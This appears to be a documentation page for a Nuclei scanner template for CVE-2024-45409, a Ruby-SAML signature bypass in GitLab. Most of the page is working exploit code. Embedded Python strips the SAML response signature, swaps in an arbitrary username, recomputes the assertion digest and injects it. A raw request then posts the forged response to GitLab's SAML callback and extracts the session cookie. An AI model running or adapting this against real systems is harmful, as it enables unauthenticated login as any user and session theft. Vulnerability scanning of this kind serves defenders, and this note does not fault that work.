GitLab - SAML Authentication Bypass
ID: CVE-2024-45409
Severity: critical
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2024,saml,auth-bypass,gitlab,code
Description
Section titled “Description”The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
YAML Source
Section titled “YAML Source”id: CVE-2024-45409
info: name: GitLab - SAML Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. impact: | An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system. remediation: | This vulnerability is fixed in 1.17.0 and 1.12.3. reference: - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/ - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2 - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-45409 cwe-id: CWE-347 metadata: verified: true shodan-query: http.title:"GitLab" product: gitlab vendor: gitlab tags: cve,cve2024,saml,auth-bypass,gitlab,code
code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | try: from lxml import etree except ImportError: raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.") import hashlib,os import base64 from datetime import datetime, timedelta import urllib.parse import requests username = os.getenv('username') if not username: username='[email protected]' saml_response = os.getenv('SAMLResponse') xml_content = base64.b64decode(urllib.parse.unquote(saml_response)) parser = etree.XMLParser(remove_blank_text=True) root = etree.fromstring(xml_content, parser)
namespaces = { 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': 'http://www.w3.org/2000/09/xmldsig#' }
response_signature = root.find('./ds:Signature', namespaces) if response_signature is not None: root.remove(response_signature)
nameid = root.find( './/saml:NameID', namespaces ) if nameid is not None: nameid.text = username
attribute_values = root.findall('.//saml:AttributeValue', namespaces) for attr_value in attribute_values: attr_value.text = username
assertion = root.find('.//saml:Assertion', namespaces) if assertion is not None: # Create a deep copy of the assertion for digest calculation assertion_copy = etree.fromstring(etree.tostring(assertion)) signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces) if signature_in_assertion is not None: signature_in_assertion.getparent().remove(signature_in_assertion) canonicalized_assertion = etree.tostring( assertion_copy, method='c14n', exclusive=True, with_comments=False ) digest = hashlib.sha256(canonicalized_assertion).digest() digest_value = base64.b64encode(digest).decode() else: digest_value = ''
issuer = root.find('.//saml:Issuer', namespaces) if issuer is not None: parent = issuer.getparent() index = parent.index(issuer) extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions') digest_element = etree.SubElement( extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue' ) digest_element.text = digest_value parent.insert(index + 1, extensions)
malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring( root, pretty_print=False, xml_declaration=True, encoding='UTF-8' )))) print(malformed_samlresponse)
http: - raw: - | POST /users/auth/saml/callback HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers: - type: dsl dsl: - 'contains(header,"known_sign_in")' - 'status_code == 302' condition: and
extractors: - type: kval kval: - _gitlab_session# digest: 4a0a0047304502200ca1bbbc60fa2debbed3a416665eacb5232cea3b028b9da309258483b69822d6022100b0184d0a81fb72e2e32d58323bb81aa53d24b1c5fcd038771a71f8ff000e3ee6:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/cves/2024/CVE-2024-45409.yaml"